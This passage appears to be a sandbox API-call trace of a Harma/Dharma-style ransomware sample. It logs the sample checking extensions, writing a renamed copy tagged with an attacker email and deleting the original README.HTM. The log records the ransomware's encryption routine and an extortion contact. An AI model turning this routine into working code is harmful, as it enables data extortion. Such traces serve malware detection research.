lstrlenW (lpString=".dbf") returned 4 [0047.476] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.476] lstrlenW (lpString=".1cd") returned 4 [0047.476] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.476] lstrlenW (lpString=".jpg") returned 4 [0047.476] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.476] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.476] lstrlenW (lpString="oskpred.xml") returned 11 [0047.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.535] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=215) returned 1 [0047.535] CloseHandle (hObject=0x1a0) returned 1 [0047.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0047.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.535] lstrlenW (lpString=".doc") returned 4 [0047.535] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.535] lstrlenW (lpString=".docx") returned 5 [0047.536] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0047.536] lstrlenW (lpString=".pdf") returned 4 [0047.536] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.536] lstrlenW (lpString=".xls") returned 4 [0047.536] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.536] lstrlenW (lpString=".xlsx") returned 5 [0047.536] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0047.536] lstrlenW (lpString=".ppt") returned 4 [0047.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.536] lstrlenW (lpString=".zip") returned 4 [0047.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.536] lstrlenW (lpString=".rar") returned 4 [0047.536] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.536] lstrlenW (lpString=".bz2") returned 4 [0047.536] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.536] lstrlenW (lpString=".7z") returned 3 [0047.536] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.536] lstrlenW (lpString=".dbf") returned 4 [0047.536] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.536] lstrlenW (lpString=".1cd") returned 4 [0047.536] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.536] lstrlenW (lpString=".jpg") returned 4 [0047.536] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.537] lstrlenW (lpString=".doc") returned 4 [0047.537] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.537] lstrlenW (lpString=".docx") returned 5 [0047.537] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0047.537] lstrlenW (lpString=".pdf") returned 4 [0047.537] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.537] lstrlenW (lpString=".xls") returned 4 [0047.537] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.537] lstrlenW (lpString=".xlsx") returned 5 [0047.537] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0047.537] lstrlenW (lpString=".ppt") returned 4 [0047.537] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.537] lstrlenW (lpString=".zip") returned 4 [0047.537] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.537] lstrlenW (lpString=".rar") returned 4 [0047.537] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.537] lstrlenW (lpString=".bz2") returned 4 [0047.537] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.537] lstrlenW (lpString=".7z") returned 3 [0047.537] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.537] lstrlenW (lpString=".dbf") returned 4 [0047.537] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.538] lstrlenW (lpString=".1cd") returned 4 [0047.538] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.538] lstrlenW (lpString=".jpg") returned 4 [0047.538] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.538] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.538] lstrlenW (lpString="symbols.xml") returned 11 [0047.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.619] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=591) returned 1 [0047.619] CloseHandle (hObject=0x1a0) returned 1 [0047.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0047.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.619] lstrlenW (lpString=".doc") returned 4 [0047.619] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.619] lstrlenW (lpString=".docx") returned 5 [0047.619] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0047.619] lstrlenW (lpString=".pdf") returned 4 [0047.619] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.619] lstrlenW (lpString=".xls") returned 4 [0047.619] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.619] lstrlenW (lpString=".xlsx") returned 5 [0047.619] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0047.619] lstrlenW (lpString=".ppt") returned 4 [0047.619] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.619] lstrlenW (lpString=".zip") returned 4 [0047.619] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.619] lstrlenW (lpString=".rar") returned 4 [0047.620] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.620] lstrlenW (lpString=".bz2") returned 4 [0047.620] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.620] lstrlenW (lpString=".7z") returned 3 [0047.620] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.620] lstrlenW (lpString=".dbf") returned 4 [0047.620] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.620] lstrlenW (lpString=".1cd") returned 4 [0047.620] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.620] lstrlenW (lpString=".jpg") returned 4 [0047.620] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.620] lstrlenW (lpString=".doc") returned 4 [0047.620] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.620] lstrlenW (lpString=".docx") returned 5 [0047.620] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0047.620] lstrlenW (lpString=".pdf") returned 4 [0047.620] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.620] lstrlenW (lpString=".xls") returned 4 [0047.620] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.620] lstrlenW (lpString=".xlsx") returned 5 [0047.620] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0047.620] lstrlenW (lpString=".ppt") returned 4 [0047.620] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.620] lstrlenW (lpString=".zip") returned 4 [0047.620] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.620] lstrlenW (lpString=".rar") returned 4 [0047.620] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.621] lstrlenW (lpString=".bz2") returned 4 [0047.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.621] lstrlenW (lpString=".7z") returned 3 [0047.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.621] lstrlenW (lpString=".dbf") returned 4 [0047.621] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.621] lstrlenW (lpString=".1cd") returned 4 [0047.621] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0047.621] lstrlenW (lpString=".jpg") returned 4 [0047.621] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.621] lstrcmpiW (lpString1=".dat", lpString2=".harma") returned -1 [0047.621] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0047.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.238] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1100368) returned 1 [0049.238] CloseHandle (hObject=0x15c) returned 1 [0049.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0049.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.238] lstrlenW (lpString=".doc") returned 4 [0049.238] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0049.238] lstrlenW (lpString=".docx") returned 5 [0049.238] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0049.238] lstrlenW (lpString=".pdf") returned 4 [0049.238] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0049.238] lstrlenW (lpString=".xls") returned 4 [0049.238] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0049.238] lstrlenW (lpString=".xlsx") returned 5 [0049.238] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0049.238] lstrlenW (lpString=".ppt") returned 4 [0049.238] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0049.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.239] lstrlenW (lpString=".zip") returned 4 [0049.239] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0049.239] lstrlenW (lpString=".rar") returned 4 [0049.239] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0049.239] lstrlenW (lpString=".bz2") returned 4 [0049.239] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0049.239] lstrlenW (lpString=".7z") returned 3 [0049.239] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0049.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.239] lstrlenW (lpString=".dbf") returned 4 [0049.239] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0049.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.239] lstrlenW (lpString=".1cd") returned 4 [0049.239] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0049.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.239] lstrlenW (lpString=".jpg") returned 4 [0049.239] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0049.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.239] lstrlenW (lpString=".doc") returned 4 [0049.239] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0049.239] lstrlenW (lpString=".docx") returned 5 [0049.239] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0049.239] lstrlenW (lpString=".pdf") returned 4 [0049.239] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0049.239] lstrlenW (lpString=".xls") returned 4 [0049.239] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0049.239] lstrlenW (lpString=".xlsx") returned 5 [0049.239] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0049.240] lstrlenW (lpString=".ppt") returned 4 [0049.240] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0049.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.240] lstrlenW (lpString=".zip") returned 4 [0049.240] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0049.240] lstrlenW (lpString=".rar") returned 4 [0049.240] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0049.240] lstrlenW (lpString=".bz2") returned 4 [0049.240] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0049.240] lstrlenW (lpString=".7z") returned 3 [0049.240] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0049.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.240] lstrlenW (lpString=".dbf") returned 4 [0049.240] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0049.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.240] lstrlenW (lpString=".1cd") returned 4 [0049.240] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0049.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0049.240] lstrlenW (lpString=".jpg") returned 4 [0049.240] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0049.240] lstrcmpiW (lpString1=".HTM", lpString2=".harma") returned 1 [0049.240] lstrlenW (lpString="README.HTM") returned 10 [0049.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.241] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1941) returned 1 [0049.241] CloseHandle (hObject=0x15c) returned 1 [0049.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0049.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.241] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.241] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0049.242] GetLastError () returned 0x0 [0049.242] ReadFile (in: hFile=0x15c, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x795, lpOverlapped=0x0) returned 1 [0049.244] WriteFile (in: hFile=0x1dc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0049.245] ReadFile (in: hFile=0x15c, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.245] WriteFile (in: hFile=0x1dc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0049.245] SetEndOfFile (hFile=0x1dc) returned 1 [0049.245] CloseHandle (hObject=0x1dc) returned 1 [0049.246] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.246] SetEndOfFile (hFile=0x15c) returned 1 [0049.247] CloseHandle (hObject=0x15c) returned 1 [0049.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0049.247] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0049.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.247] lstrlenW (lpString=".doc") returned 4 [0049.247] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0049.247] lstrlenW (lpString=".docx") returned 5 [0049.247] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0049.247] lstrlenW (lpString=".pdf") returned 4 [0049.248] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0049.248] lstrlenW (lpString=".xls") returned 4 [0049.248] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0049.248] lstrlenW (lpString=".xlsx") returned 5 [0049.248] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0049.248] lstrlenW (lpString=".ppt") returned 4 [0049.248] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0049.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.248] lstrlenW (lpString=".zip") returned 4 [0049.248] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0049.248] lstrlenW (lpString=".rar") returned 4 [0049.248] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0049.248] lstrlenW (lpString=".bz2") returned 4 [0049.248] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0049.248] lstrlenW (lpString=".7z") returned 3 [0049.248] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0049.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.248] lstrlenW (lpString=".dbf") returned 4 [0049.248] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0049.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.248] lstrlenW (lpString=".1cd") returned 4 [0049.248] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0049.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.248] lstrlenW (lpString=".jpg") returned 4 [0049.248] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0049.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.248] lstrlenW (lpString=".doc") returned 4 [0049.248] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0049.248] lstrlenW (lpString=".docx") returned 5 [0049.249] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0049.249] lstrlenW (lpString=".pdf") returned 4 [0049.249] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0049.249] lstrlenW (lpString=".xls") returned 4 [0049.249] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0049.249] lstrlenW (lpString=".xlsx") returned 5 [0049.249] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0049.249] lstrlenW (lpString=".ppt") returned 4 [0049.249] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0049.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.249] lstrlenW (lpString=".zip") returned 4 [0049.249] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0049.249] lstrlenW (lpString=".rar") returned 4 [0049.249] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0049.249] lstrlenW (lpString=".bz2") returned 4 [0049.249] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0049.249] lstrlenW (lpString=".7z") returned 3 [0049.249] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0049.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.249] lstrlenW (lpString=".dbf") returned 4 [0049.249] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 